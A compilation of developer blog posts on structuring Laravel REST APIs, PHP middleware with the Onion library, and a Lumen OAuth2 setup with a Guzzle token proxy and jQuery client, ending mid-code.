    public function create(Request $request)
    {
        if (!Auth::check()) {
            return response()->json([
                'error' => "You are not authenticated"
            ], 401);
        }

        if (Gate::denies('create-user')) {
            return response()->json([
                'error' => "You are no authorized to create users"
            ], 403);
        }

        $data = $request->get('user');

        $email = $data['email'];

        $exists = User::where('email', $email)->get()->first();
        if (!is_null($exists)) {
            return response()->json([
                'error' => "A user with the email $email already exists!"
            ]);
        }

        $user = User::create($data);

        $activation = Activation::create($user->id);

        $user->activation->save($activation);

        Mail::send('user.activation', function($message) use ($user) {
            $m->from('hello@app.com', 'Your Application');

            $m->to($user->email, $user->name)->subject('Welcome to my crappy app');
        });

        return response()->json($user, 201);
    }
}

NOTE: This is very much a contrived example, probably not even valid code, to demonstrate giving controllers too many responsibilities.

Now imagine your user resource has many endpoints.

GET /users
GET /users/{id}
POST /users
PUT /users/{id}
DELETE /users/{id}
// etc.

The UserController quickly grows into a monstrosity of duct-tape-code barely holding the fort together. It is time for separation of concerns.

Introducing the service-repository pattern

In 2013 the repository pattern was all the rage in the Laravel community. Then in 2014 it was the command bus. Remember, there is no single pattern which is the one to always choose. New patterns emerge all the time, and they should add to your toolbox, not replace it.

Now, for me, the service-repository pattern solves a lot of my issues with complexity. The figure below demonstrates how we use the pattern at Traede.

1. The controller

The controller is the entry point and exit for the application. It should define the endpoints of our resources. We use it for simple validation using Laravel's request validation and for parsing any resource control options passed with the request (more on this in part 2). The controller will call the appropriate service class method and format the response in JSON with the correct status code.

2. The middleware

I love the concept of middleware. We use it for many things. However, in our simplified example here it will serve as an authentication checkpoint. More on that in part 4.

3. Service class

They way we are seeing the service class is as the glue of the operation. The goal of our example operation POST /users is to create a user. The service class will function as the operator that pulls different classes together in order to complete that operation.

4. Repositories

The repository pattern is an easy way to abstract away database operations. This way we separate business logic and SQL logic from our application. More on this in part 2.

5. Events

Using the event system is an effective way abstracting away complexity. It will be used for internal events (like sending the user created notification) and for webhooks.

An example

Alright, let us have a look on how we can use this pattern to implement our endpoint POST /users. So the goal is to create a user, but what steps does that operation entail exactly?

Simple data validation (is it a valid email?)
Authenticate the user
Authorize that the user has permission to create users
Complex data validation (is the email unique?)
Create the database record
Send email created notification to the new user
Return the created user in JSON format with status code 201

1. The controller

class UserController extends Controller
{
    private $userService;

    public function __construct(UserService $userService) {
        $this->userService = $userService;
    }

    public function create(CreateUserRequest $request)
    {
        $user = $this->userService->create($request->get('user'));

        return response()->json($user, 201);
    }
}

class CreateUserRequest extends Request
{
    public function authorize()
    {
        return true;
    }

    public function rules()
    {
        return [
            'user' => 'required|array',
            'user.email' => 'required|email'
        ];
    }
}

As it is evident, not a lot of stuff going on. This is to ensure our controllers can grow. It might look empty now, but it will have a decent size (without being to big) once we add 4-5 endpoints more. We have also kept its responsibilities to a minimum thus making the class easy to reason about for other developers than ourself.

2. The middleware layer

The authentication of our user will happen behind the scenes using Laravel's middleware system and other libraries. We will get to the implementation of this in part 4. For now, just assume it is there.

3. The service class

<?php

namespace App\Services;

use App\Exceptions\EmailIsNotUniqueException;
use App\Events\UserWasCreated;
use App\Helpers\UserValidator;
use App\Repositories\UserRepository;
use Infrastructure\Auth\Authentication;
use Illuminate\Events\Dispatcher;

class UserService
{
    private $auth;

    private $dispatcher;

    private $userRepository;

    private $userValidator;

    public function __construct(
        Authentication $auth,
        Dispatcher $dispatcher,
        UserRepository $userRepository,
        UserValidator $userValidator
    ) {
        $this->auth = $auth;
        $this->dispatcher = $dispatcher;
        $this->userRepository = $userRepository;
        $this->userValidator = $userValidator;
    }

    public function create(array $data)
    {
        $account = $this->auth->getCurrentUser();

        // Check if the user has permission to create other users.
        // Will throw an exception if not.
        $account->checkPermission('users.create');

        // Use our validation helper to check if the given email
        // is unique within the account.
        if (!$this->userValidator->isEmailUniqueWithinAccount($data['email'], $account->id)) {
            throw new EmailIsNotUniqueException($data['email']);
        }

        // Set the account ID on the user and create the record in the database
        $data['account_id'] = $account->id;
        $user = $this->userRepository->create($data);

        // If we set the relation right away on the user model, then we can
        // call $user->account without quering the database. This is useful if
        // we need to call $user->account in any of the event listeners
        $user->setRelation('account', $account);

        // Fire an event so that listeners can react
        $this->dispatcher->fire(new UserWasCreated($user));

        return $user;
    }
}

Okay, so a lot of stuff going on here. Let us break it down step by step.

$account = $this->auth->getCurrentUser();

// Check if the user has permission to create other users.
// Will throw an exception if not.
$account->checkPermission('users.create');

We get the current user (i.e. the user that makes the request). We have to check if this user has the permission to actually create users. How we do this is covered in part 4. For now, just know that if the user does not have permission to create users an exception will be thrown.

// Use our validation helper to check if the given email
// is unique within the account.
if (!$this->userValidator->isEmailUniqueWithinAccount($data['email'], $account->id)) {
    throw new EmailIsNotUniqueException($data['email']);
}

Okay, so I realize this could have been done in the request validation using an unique rule. However, this is just to illustrate two things: (I) sometimes you will have to do more complex data manipulation or validation that cannot be done automatically by Laravel. Using helper classes and having the service class "string it all together" is a great way of achieving this. (II) By throwing an exception we abort the flow so we make sure nothing else is executed before the user has fixed the error. More on this in part 3.

// Set the account ID on the user and create the record in the database
$data['account_id'] = $account->id;
$user = $this->userRepository->create($data);

// If we set the relation right away on the user model, then we can
// call $user->account without quering the database. This is useful if
// we need to call $user->account in any of the event listeners
$user->setRelation('account', $account);

So in our fictitious example we have 1 account. And each account can have many users.

Accounts 1 -------> n Users

We therefore add the account_id to the data, which the repository will persist in the database. I realize it is simpler to achieve this with $user->account->save($account), however in this example we spare 1 more query to the database. And it is also just to demonstrate there are other ways of achieving the goal.

// Fire an event so that listeners can react
$this->dispatcher->fire(new UserWasCreated($user));

return $user;

We fire an event through the event system for listeners to react to. In this example a listener will send the email notification. But more on this in part 5.

If we want to decrease the responsibilities of our service class further, we can easily refactor the validation of data and the creation of the database entry to a UserBuilder class. However, for now we will keep the code as is.

4. The repository

class UserRepository
{
    public function create(array $data)
    {
        DB::beginTransaction();

        try {
            $user = new User;

            $user->account_id = $data['account_id'];
            $user->fill($data);
            $user->save();

            $activation = new Activation;
            $activation->user_id = $user->id;
            $activation->save();
        } catch(Exception $e) {
            DB::rollBack();

            throw $e;
        }

        DB::commit();

        return $user;
    }
}

class User extends EloquentModel
{
    protected $fillable = [
        'email'
    ];

    // Activation relation
}

For now our repository is super simple. Later on, we will let it extend a base class for advanced functionality but for now it will due. Notice, we never let relation properties be fillable.

So in our example each user has an activation record that indicates whether or not the user has activated (by clicking an activation link we send our by email). Thus when creating a user we have to create both records and relate them to one another. This is the reason why we wrap our code in a database transaction. Should the activation record creation fail, for whatever reason, we want to fail the user record as well and let the exception bubble up so we can handle it (we will do so in part 3).

Before we get into how we can structure our project folder, let us recap what we did. We divided an operation into different parts that each has a more narrower field of responsibility, thereby effectively allowing our code base to grow.

Level 2: Project folder structure

One of the first things that happened as our API grew was that we introduced a lot of custom infrastructure. Things like analytics integration, base repositories, exception handlers, queue infrastructure, testing helpers, custom validation rules etc. became part of our code base.

What we realized was that we were mixing business code with infrastructure code. Confused? Think about it. How would it look if all the Laravel framework code was in the same folder as your API code? That would make no sense, right? This is because the Laravel framework is merely infrastructure that enables you to rapidly iterate on your business code without having to write a lot of infrastructure code. If you are interested in such architectural topics I suggest you look into stuff like Hexagonal Architecture and Domain Driven Design.

To make matters even worse for us, in Traede, we have an app store. Basically it is a bunch of apps you can install in your account, i.e. they are not part of the core product. We realized we could divide our API into three parts: (I) the core business, (II) infrastructure and (III) extensions installable via app store.

So we decided our project structure should reflect the same.

Above you see a comparison of how our project structure changed. On the left is the standard Laravel structure most of you are probably used to. In the past it contained all of our code: business code, infrastructure, extensions - everything! Now we have separated those concerns into separate namespaces. And the best part is that it is ridiculously easy to implement. In the autoload section of your composer.json set it up like so.

// ...
"psr-4": {
  "Apps\\": "app-store/",
  "Traede\\": "traede/",
  "Infrastructure\\": "infrastructure/"
}
// ...

If you want tests to be run you will also have to add a testsuite to phpunit.xml. See how here.

Now, if you are an attentive reader (as I am sure you are), you may have noticed that the resources/ and tests/ folders have disappeared from the project. There is a good reason for that which I will explain in the next section.

Level 3: Resource folder structure

What you see on the left is an example of how our code base grew at Traede. Laravel by default is organized such that the code is "grouped-by-type". So all the controllers are in a folder together, all the models are in a folder together, all the events are in a folder together etc.

What often happened was that I would be working on let us say the "Products component" of our API. The files of interest can be described as below.

/ app
  / Http
    / Controllers
      ..
      / ProductController.php
      ..
  / Models
    ..
    Product.php
    ProductVariant.php
    ProductVariantPrice.php
    ..
  / Repositories
    ..
    ProductRepository.php
    ProductVariantRepository.php
    ProductVariantPriceRepository.php
    ..
  / Services
    ..
    ProductService.php
    VariantService.php
    ..

.. represents other files and folders.

As you can imagine your files are spread very far from each other vertically in your project tree. I was not event able to take a screenshot with my product-component repositories and services in the same image. As I see it, this structure only makes sense if you "work on all the repositories right now" or "work on all the models right now". But you rarely do that, do you?

Would it not be better if all the files were organized by component? E.g. all the product-oriented services, repositories, models, routes etc. in the same folder?

As you can see we have divided the core product of Traede into 8 separate components. A component typically has these folders

/ Products
  / Controllers
    # We typically have a controller per
    # resource, e.g. ProductController,
    # TagController, VariantController etc.
  / Events
    # All the events that can be raised by
    # the component, e.g. ProductWasCreated,
    # VariantPriceDeleted etc.
  / Exceptions
    # All exceptions. We currently have about 20
    # custom exceptions for products like
    # DuplicateSkuException and
    # BasePriceNotDefinedException
  / Listeners
    # Listeners for events
  / Models
    # Eloquent models: Product, Variant, Tag etc.
  / Repositories
    # We typically have a repository per eloquent model
    # ProductRepository, VariantRepository etc.
  / Requests
    # HTTP requests for validation
  / Services
    # A few larger classes that string together operations
    # typically we make one per controller, like
    # ProductController -> ProductService
  / Tests
    # All tests for the component
  # Typically used to connect events and listeners.
  ProductServiceProvider.php
  # All the routes for the component. Having distributed
  # route files, makes them ALOT more clear when you
  # have 100+ routes :-)
  routes.php

So this clears up what happened to the tests/ folder of the root folder. We simply gave each component a folder to have its tests within. But what about the resources/?

One of the powers of the distributed laravel package is that it can search for resource files in the new component structure.

In our entities component we have a lot of email views for transactional emails. The system will simply look for a resources/ folder within traede/Entities/ an load it into Laravel as the normal resources folder is.

Another example is that Laravel by default comes with a langugage file for validation rules saved in resources/lang/en/validation.php. We have a validation component in our infrastructure that contains custom validation rules etc. It looks like this.

/ infrastructure
  .. # Other infrastructure components
  / Validation
    / resources
      / en
        # The default validation translations
        / validation.php
    # Loads custom validation rules
    ValidationServiceProvider.php

Getting started

Go to GitHub to see the Larapi example to see how the code is structured. If you want to implement this in an existing project you can use the service providers of distributed-laravel to load the components into Laravel. Browsing the Larapi code is best way to see how you should restructure.

Conclusion

This structure is still very new for me, so I am still experimenting and I am sure somethings could be done better. You think so as well? Reach out on e-mail, twitter or the Larapi repository

A modern REST API in Laravel 5 Part 0: Introduction

Mon, 11 Apr 2016 17:04:00 +0200

Welcome to the API of your dreams

Bonjour. Welcome to this series on how to build a cool REST API in Laravel 5. APIs are all around us. Most of us have tried integrating a third party into our app by consuming their API. Whether it is creating issues in GitHub, authenticating using Facebook or tracking users in Intercom we utilize the power of APIs to enhance our own app.

What many developers do not realize is that building your own app using an API is not only super useful - it is also relatively easy to get started. If your business is powered by your own API it becomes easier building and maintaining multiple clients (e.g. a desktop app, a smartphone app, tablet app etc.) since they all utilize the same business platform (the API).

With an API it also becomes more enjoyable to write those cool javascript clients using the latest, sexy framework. Just be ware of javascript fatigue ;-).

Anywho, this is NOT an introduction to REST APIs

There are already plenty of good resources on how to get introduced into the world of APIs. Therefore this will not be another introduction into what a resource is, or how URLs should be formatted.

For a beginners guide I definitely recommend the short e-book "Build APIs You Won't Hate" by Phil Sturgeon

So what are we going to do?

This 5-part series will go over implementation details of specific challenges that I have faced in developing the Traede API

Part 1: A scalable structure

The first part is about how we can structure our API, so that it will not blow up in our face once it grows in complexity. We will take a stab at structure on three different levels:

Application flow pattern
Project folder structure
Resource folder structure

Go to part 1

Part 2: Creating resources with controls

The second part will be building resources. Building resources in itself is pretty easy, however the fun part becomes giving our consumers controls like filters, pagination and nested relationship controls.

We will try to implement some of my own Laravel API libraries in order to achieve this.

Go to part 2

Part 3: Error handling

I will take you through some of the steps we have taken to increase the effictiveness of our error handling. This includes writing a custom exception handler that logs exceptions in Sentry - an online exception tracker service.

Go to part 3

Part 4: Authentication

Almost any API needs some sort of authentication. I have already written a bit about how OAuth can be implemented in the Lumen framework.

In this series we will also be using OAuth for authentication, however we will be using Laravel's own implementation of The PHP League's OAuth Server: Laravel Passport.

Go to part 4

Part 5: Inbound & outbound webhooks

A really kick ass API can integrate with other APIs. This can often happen through webhooks. We will look at how you can handle input from other APIs as well as how you can enable consumers to integrate with your API using outbound webooks.

Coming soon...

Implementing before/after middleware in PHP

Fri, 31 Jul 2015 12:00:00 +0200

Middleware is a crazy popular mechanism in coding these days. Laravel has implemented it for its router, giving you the possibility to run actions on a request before and after it is executed. Likewise the web application framework for Node Express.js has also a middleware implementation with middleware libraries for different things for example serving static files, log requests etc.

How middleware is implemented in Laravel

Whenever a request is made to a Laravel application it is run through a pipeline of middleware. A demonstration is in order. Queue my amazing Photoshop skills.

Imagine you are making a request GET /users to an API. The actual action of GETting users from the database is displayed as the white circle in the middle. But before this can happen we want to run some middleware. As pictured there are two types of middleware: (1) before and (2) after. Before middleware is run against the request before the execution of the actual action it requests (duh). Examples of this could be checking if the user is authenticated and authorized, if the CSRF token sent with the request is valid etc.

Once the before middleware has run, it is time for the actual action. We get an array of users from the database to send back to the client. But before the response reaches the client we want to do some post-action work on it. This is after middleware. Examples could be adding CORS headers, adding cookies, or caching the result. If we implemented caching after middleware, we could then implement some before middleware to check for a cached version of the resource before actually getting it from database.

So it is a router thing?

Not at all! The concept is really versatile if you think about it, and it can be implemented in many different scenarios.

Use case: an uploader

At Traede we are currently implementing middleware in our uploader functionality. Our users upload many product pictures, user profile pictures etc. All these we store in our CDN hosted by Cloudinary. But before we actually upload the picture to Cloudinary we do some quick work, and after the image has been uploaded we do some clean up.

This is how our uploader looks in Traede. The user drops a file in the drop area and it displays a small box with a thumbnail and the status of the image. The thumbnail is created using thumbnail middleware. Our middleware pipeline runs like this

Before middleware: generate thumbnail
Actual action: upload image to Cloudinary
After middleware: clean up temporary files

There are probably many more middleware classes to be implemented in our uploader. But, for now, these are the ones we use. This was just a simple demonstration of how epic middleware can obviously be.

Gotcha! Now gimme middleware!

So, how do you actually implement a general middleware solution? Introducing: Onion. A small standalone library, with a clever name might I add, that will give you the power to implement middleware in any situation.

Some terminology of the Middleware Onion

The actual action (e.g. upload to Cloudinary) is called the core of the onion
Middleware classes are called layers (Onion layers - clever, no?)

A quick example

The below example has two different middleware layers: a before and an after. The object we pass through our pipeline is a simple object with an array. Each actor that interacts with the object will log itself in the array.

class BeforeLayer implements LayerInterface {

    public function peel($object, Closure $next)
    {
        $object->runs[] = 'before';

        return $next($object);
    }

}

class AfterLayer implements LayerInterface {

    public function peel($object, Closure $next)
    {
        $response = $next($object);

        $object->runs[] = 'after';

        return $response;
    }

}

$object = new StdClass;
$object->runs = [];

$onion = new Onion;
$end = $onion->layer([
                new AfterLayer(),
                new BeforeLayer(),
                new AfterLayer(),
                new BeforeLayer()
            ])
            ->peel($object, function($object){
                $object->runs[] = 'core';
                return $object;
            });

var_dump($end);

The result of this will be

..object(stdClass)#161 (1) {
  ["runs"]=>
  array(5) {
    [0]=>
    string(6) "before"
    [1]=>
    string(6) "before"
    [2]=>
    string(4) "core"
    [3]=>
    string(5) "after"
    [4]=>
    string(5) "after"
  }
}

As you can see all the before middleware will run before the core, and likewise all the after middleware will run after. As you have probably noticed it does not matter in which order we add the layers to the onion. So how do we actually define what to run before and what to run after?

class Layer implements LayerInterface {

    public function peel($object, Closure $next)
    {
        // Everything run before the execution of
        // $next, can be considered before middleware

        $response = $next($object);

        // Everything run after the execution of
        // $next, can be considered after middleware

        return $response;
    }

}

The function $next we pass to all layers is the function that will pass the object down through our pipeline. All actions that are run before $next in a layer class will be run before the core function, and is therefore before middelware. Likewise, whatever is done after $next is next middleware. Take a look at the layers we previously used in our example.

class BeforeLayer implements LayerInterface {

    public function peel($object, Closure $next)
    {
        $object->runs[] = 'before';

        return $next($object);
    }

}

class AfterLayer implements LayerInterface {

    public function peel($object, Closure $next)
    {
        $response = $next($object);

        $object->runs[] = 'after';

        return $response;
    }

}

And that’s a wrap

That is it for now folks. Go to Onion's github repo to get started middlewaring your world. Have fun!

Building a web app with Lumen web API and OAuth2 authentication

Tue, 26 May 2015 12:00:00 +0200

Note: some additions to the app.php config file and the proxy class were added on 22nd of June 2015 in response to breaking changes in the Lumen framework and with the release of Guzzle 6.

Introduction

Lumen was recently released as a micro-framework brother for Laravel. It immediately caught my attention as we use Laravel for writing our REST API at Traede. Our client is written in javascript and we therefore only use Laravel for the API. Lumen therefore seemed interesting as the intention is using it for writing speedy APIs.

I quickly started looking at Lumen as a potential replacement for Laravel. One thing I quickly discovered though was that Laravel packages are not directly compatible with Lumen. Therefore a small bridge is often needed to close the gap. We use OAuth2 for API authentication and therefore the first bridge I wrote for Lumen was one for the excellent OAuth2 package oauth2-server-laravel by Luca Degasperi.

This post serves as a quick introduction on how to set it up. A README can also be found in the repository: esbenp/oauth2-server-lumen. At the same time I will demonstrate how tokens can be managed by a javascript client using esbenp/jquery-oauth

Installation

I assume you already have an installation of Lumen. First of all require the package using composer.

composer require optimus/oauth2-server-lumen 0.1.*

Registering service providers

Next, register the service providers. In your bootstrap/app.php add the following registration along side other service providers.

// ... Other service providers
$app->register('LucaDegasperi\OAuth2Server\Storage\FluentStorageServiceProvider');
$app->register('Optimus\OAuth2Server\OAuth2ServerServiceProvider');

Optimus\OAuth2Server\OAuth2ServerServiceProvider is a replacement for the original server provider provided by lucadegasperi's package. The original package tries to register route filters which are not supported in Lumen and should be replaced with route middleware.

Additionally, the original service provider registers assets to be published using php artisan vendor:publish. Package asset publishing is not available in Lumen, we therefore have to copy it manually.

Creating configuration file

Inside Optimus\OAuth2Server\OAuth2ServerServiceProvider a config file is registered into the application using $this->app->configure("oauth2");. Inside Lumen's application class the container looks for the oauth config file inside a config folder that can be configured using Laravel\Lumen\Application::useConfigPath, however if you have not configured a folder the default is {projectRoot}/config. This folder DOES NOT EXIST by default, so we have to create it.

When you have created the folder, copy vendor/lucadegasperi/oauth2-server-laravel/config/oauth2.php into it. Your project structure should now look like this.

app/
bootstrap/
config/            <--- the folder we just created
  - oauth2.php     <--- config file copied from vendor folder
database/
public/
... etc

Registering middleware

Lastly, we will register the route middleware which will replace the original route filters. In app/bootstrap.php insert the following. These will be used to protecting our API routes from unauthorized users.

$app->middleware([
    'LucaDegasperi\OAuth2Server\Middleware\OAuthExceptionHandlerMiddleware'
]);

$app->routeMiddleware([
    'check-authorization-params' => 'Optimus\OAuth2Server\Middleware\CheckAuthCodeRequestMiddleware',
    'csrf' => 'Laravel\Lumen\Http\Middleware\VerifyCsrfToken',
    'oauth' => 'Optimus\OAuth2Server\Middleware\OAuthMiddleware',
    'oauth-owner' => 'Optimus\OAuth2Server\Middleware\OAuthOwnerMiddleware'
]);

Migrating OAuth database tables

This step is unfortunately very hackish. If anyone knows a better way to do this I will be very happy to hear from you! The problem is we cannot rollback the migrations when doing this.

First we have to temporarily enable Facades and make a config alias.
Second we migrate straight out of the vendor folder.

To setup the config alias and enabling facades go to bootstrap/app.php and insert the following code.

// It is recommended to remove ALL these lines after the migrations have run.
class_alias('Illuminate\Support\Facades\Config', 'Config');
$app->withFacades();

Now run the migrations.

php artisan migrate --path=vendor/lucadegasperi/oauth2-server-laravel/migrations

I highly recommended removing the class_alias and facade enabling after the migrations have run.

Setting up an API

Our OAuth2 server is now installed and configured. Let us look into an example on how to use it to authenticate an API.

Configuring OAuth grant types

We have to configure OAuth and tell what grant types we want to support in our API. Here, we are going to support the resource owner credentials grant and the refresh token grant. The resource owner credentials grant means requesting an access token using login and password. Open up config/oauth2.php and replace the grant_types key with the following code.

'grant_types' => [
    'password' => [
        'class' => '\League\OAuth2\Server\Grant\PasswordGrant',
        'callback' => function($email, $password) {
            $authManager = app()['auth'];

            if (app()["auth"]->once([
                "email" => $email,
                "password" => $password
            ])) {
                return $authManager->user()->id;
            } else {
                return false;
            }
        },
        'access_token_ttl' => 3600
    ],
    'refresh_token' => [
        'class' => '\League\OAuth2\Server\Grant\RefreshTokenGrant',
        'access_token_ttl' => 3600,
        'refresh_token_ttl' => 36000
    ]
]

Create an OAuth client

We have to create a client in the database. I usually do this using a database seeder. Before we do that let us create a config file that will contain our client id and secret. In production it is recommended to do this as environment variables rather than a config file.

Create a config file config/secrets.php.

<?php
return [
    'client_id' => 1,
    'client_secret' => 'gKYG75sw'
];
?>

... also create an app config file if you do not already have one config/app.php. Put in the url of your app. Also put in a 12, 32 or 64 character random string as app key. This is important! Otherwise the encrypter will throw an exception later on.

<?php
return [
    'url' => 'http://oauth-tutorial.dev',
    'key' => 'U<CdJu~T&.g/kR-NX55h]HfB+bb,b7Y*',
    'cipher' => 'AES-256-CBC'
];
?>

Note: the cipher entry was added 22nd of June, as this is now a required configuration since Lumen 5.1 for the encrypt/decrypt library to work.

Add configure statement to bootstrap/app.php

$app->configure('app');
$app->configure('secrets');

Now create a seed file database/seeds/OAuthSeeder.php

<?php

use Illuminate\Database\Seeder;
use Illuminate\Database\Eloquent\Model;

class OAuthSeeder extends Seeder {

    public function run()
    {
        $config = app()->make('config');

        DB::table("oauth_clients")->delete();

        DB::table("oauth_clients")->insert([
            'id' => $config->get('secrets.client_id'),
            'secret' => $config->get('secrets.client_secret'),
            'name' => 'App'
        ]);
    }

}

?>

... and tell add the seed statement to database/seeds/DatabaseSeeder.php

$this->call('OAuthSeeder');

Now you can finally seed the database. First redump the autoload to get the newly created OAuth seeder file in the autoload file.

composer dump-autoload && php artisan db:seed

Creating a user database

We need a database of users to auth. This is not put in Lumen out-of-the-box, but we can quickly borrow some classes from the Laravel repository to set it up. I have used this user model and put it in app/Auth/User.php

<?php

namespace App\Auth;

use Illuminate\Auth\Authenticatable;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Auth\Passwords\CanResetPassword;
use Illuminate\Contracts\Auth\Authenticatable as AuthenticatableContract;
use Illuminate\Contracts\Auth\CanResetPassword as CanResetPasswordContract;

class User extends Model implements AuthenticatableContract, CanResetPasswordContract {
    use Authenticatable, CanResetPassword;
    /**
     * The database table used by the model.
     *
     * @var string
     */
    protected $table = 'users';
    /**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    protected $fillable = ['name', 'email', 'password'];
    /**
     * The attributes excluded from the model's JSON form.
     *
     * @var array
     */
    protected $hidden = ['password', 'remember_token'];
}
?>

also, create a migration file using php artisan make:migration create_users_table and put in this code.

<?php
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateUsersTable extends Migration {
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::create('users', function(Blueprint $table)
        {
            $table->increments('id');
            $table->string('name');
            $table->string('email')->unique();
            $table->string('password', 60);
            $table->rememberToken();
            $table->timestamps();
        });
    }
    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::drop('users');
    }
}
?>

Create a UserSeeder in database/seeds/UserSeeder.php.

<?php

use Illuminate\Database\Seeder;
use Illuminate\Database\Eloquent\Model;

class UserSeeder extends Seeder {

    public function run()
    {
        DB::table('users')->delete();

        $user = app()->make('App\Auth\User');
        $hasher = app()->make('hash');

        $user->fill([
            'name' => 'User',
            'email' => 'user@user.com',
            'password' => $hasher->make('1234')
        ]);
        $user->save();
    }

}

?>

... and add it to the database seeder database/seeds/DatabaseSeeder.php

$this->call('UserSeeder');

Finally dump autoload, migrate and seed.

composer dump-autoload && php artisan migrate && php artisan db:seed

Defining some API routes

Now that we have our database seeded with a OAuth client and a test user, we need to create some routes for our API. Go to app/Http/routes.php and add the following routes.

$app->get('/', function() use ($app) {
    return view()->make('client');
});

$app->post('login', function() use($app) {
    $credentials = app()->make('request')->input("credentials");
    return $app->make('App\Auth\Proxy')->attemptLogin($credentials);
});

$app->post('refresh-token', function() use($app) {
    return $app->make('App\Auth\Proxy')->attemptRefresh();
});

$app->post('oauth/access-token', function() use($app) {
    return response()->json($app->make('oauth2-server.authorizer')->issueAccessToken());
});

$app->group(['prefix' => 'api', 'middleware' => 'oauth'], function($app)
{
    $app->get('resource', function() {
        return response()->json([
            "id" => 1,
            "name" => "A resource"
        ]);
    });
});

POST oauth/access-token is the url that will issue the access token. For security reasons we will not call this directly, but through a proxy. This is to hide the client id and secret from the client. To read up on this specific issue I highly recommend the article Oauth2 with Angular: The right way. Instead we will attempt to login using POST login which will call POST oauth/access-token using a proxy written with GuzzleHttp/guzzle.

POST refresh-token will be used to request new access tokens using our refresh token.

GET api/resource is an API endpoint for a resource named resource. It uses the OAuth route middleware to check for a valid access token which we will pass to the authorization header later on.

Writing our proxy

It is never good practice to store ones client id and secret in the client for everyone to read. We therefore hide it by making a proxy that will issue our access token for us. First require Guzzle

composer require guzzlehttp/guzzle

Next create the file app/Auth/Proxy.php and paste the following code.

<?php

namespace App\Auth;

use GuzzleHttp\Client;

class Proxy {

    public function attemptLogin($credentials)
    {
        return $this->proxy('password', $credentials);
    }

    public function attemptRefresh()
    {
        $crypt = app()->make('encrypter');
        $request = app()->make('request');

        return $this->proxy('refresh_token', [
            'refresh_token' => $crypt->decrypt($request->cookie('refreshToken'))
        ]);
    }

    private function proxy($grantType, array $data = [])
    {
        try {
            $config = app()->make('config');

            $data = array_merge([
                'client_id'     => $config->get('secrets.client_id'),
                'client_secret' => $config->get('secrets.client_secret'),
                'grant_type'    => $grantType
            ], $data);

            $client = new Client();
            $guzzleResponse = $client->post(sprintf('%s/oauth/access-token', $config->get('app.url')), [
                'form_params' => $data
            ]);
        } catch(\GuzzleHttp\Exception\BadResponseException $e) {
            $guzzleResponse = $e->getResponse();

        }

        $response = json_decode($guzzleResponse->getBody());

        if (property_exists($response, "access_token")) {
            $cookie = app()->make('cookie');
            $crypt  = app()->make('encrypter');

            $encryptedToken = $crypt->encrypt($response->refresh_token);

            // Set the refresh token as an encrypted HttpOnly cookie
            $cookie->queue('refreshToken',
                $crypt->encrypt($encryptedToken),
                604800, // expiration, should be moved to a config file
                null,
                null,
                false,
                true // HttpOnly
            );

            $response = [
                'accessToken'            => $response->access_token,
                'accessTokenExpiration'  => $response->expires_in
            ];
        }

        $response = response()->json($response);
        $response->setStatusCode($guzzleResponse->getStatusCode());

        $headers = $guzzleResponse->getHeaders();
        foreach($headers as $headerType => $headerValue) {
            $response->header($headerType, $headerValue);
        }

        return $response;
    }

}
?>

Note: some changes were added to the proxy class on 22nd of June 2015, as Guzzle 6 was released and it depreciated the use of the ‘body’ key for POST params. It also included the use of PSR-7 responses which to not have a json() function.

I will not go to much into the details of the class. In short we have to options.

Request an access token (login)
Refresh the access token (access token has expired)

Because we do not want to expose our client we do it through a proxy created with Guzzle. If we login we save the refresh token in a HttpOnly cookie (a cookie that cannot be accessed by client side scripts thus mitigating XSS attacks).

If we request a refresh of our access token the server will decrypt the cookie and send it with the proxy request. If the refresh token is valid a new access token will be issued.

The proxy utilizes queued cookies. To utilize this in Lumen we have to register AddQueuedCookiesToResponse middleware in bootstrap/app.php

$app->middleware([
    'LucaDegasperi\OAuth2Server\Middleware\OAuthExceptionHandlerMiddleware',
    'Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse'  // <--- added
]);

Building a small client

We will build a small client in javascript that will interact with our API. Basically the client will have three actions.

Request an access token and storing it
Request the resource from the API
Logout by removing the access token from local storage

Let us build a quick skeleton for our client. Create the file resources/views/client.blade.php and add the markup below to it.

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Client</title>
    <script type="text/javascript" src="/vendor/jquery/dist/jquery.min.js"></script>
    <script type="text/javascript" src="/vendor/store-js/store.min.js"></script>
    <script type="text/javascript" src="/vendor/jquery-oauth/dist/jquery.oauth.min.js"></script>
    <script type="text/javascript" src="/js/client.js"></script>
  </head>
  <body>

    <button id="login">Login to API</button>
    <button id="request">Request resource</button>
    <button id="logout">Logout</button>

  </body>
</html>

Now we need to install client dependencies. I highly recommend using Bower. We will use my library esbenp/jquery-oauth to manage and store the access token in the client.

First we need to configure bower to use right installation path. Add the file .bowerrc to your project root.

{
  "directory": "public/vendor/"
}

Now install jquery-oauth

bower install --save jquery-oauth

Now we will build the small client that will interact with the API. Create the file public/js/client.js and add the code.

var Client = function Client() {
    this.authClient = null;

    this._setupAuth();
    this._setupEventHandlers();
}

Client.prototype._login = function _login() {
    var self = this;

    $.ajax({
        url: "/login",
        method: "POST",
        data: {
            credentials: {
                username: 'user@user.com',
                password: '1234'
            }
        },
        statusCode: {
            200: function(response) {
                if (response.accessToken === undefined) {
                    alert('Something went wrong');
                } else {
                    self.authClient.login(response.accessToken, response.accessTokenExpiration);
                }
            },
            401: function() {
                alert('Login failed');
            }
        }
    });
}

Client.prototype._logout = function _logout() {
    this.authClient.logout();
}

Client.prototype._request = function _request() {
    var resource = $.ajax({
        url: "/api/resource",
        statusCode: {
            400: function() {
                alert('Since we did not send an access token we get client error');
            },
            401: function() {
                alert('You are not authenticated, if a refresh token is present will attempt to refresh access token');
            }
        }
    })
    .done(function(data) {
        alert(JSON.stringify(data));
    });
}

Client.prototype._setupAuth = function _setupAuth() {
    var self = this;

    this.authClient = new jqOAuth({
        events: {
            login: function() {
                alert("You are now authenticated.");
            },
            logout: function() {
                alert("You are now logged out.");
            },
            tokenExpiration: function() {
                return $.post("/refresh-token").success(function(response){
                    self.authClient.setAccessToken(response.accessToken, response.accessTokenExpiration);
                });
            }
        }
    });
}

Client.prototype._setupEventHandlers = function _setupEventHandlers() {
    $("#login").click(this._login.bind(this));
    $("#request").click(this._request.bind(this));
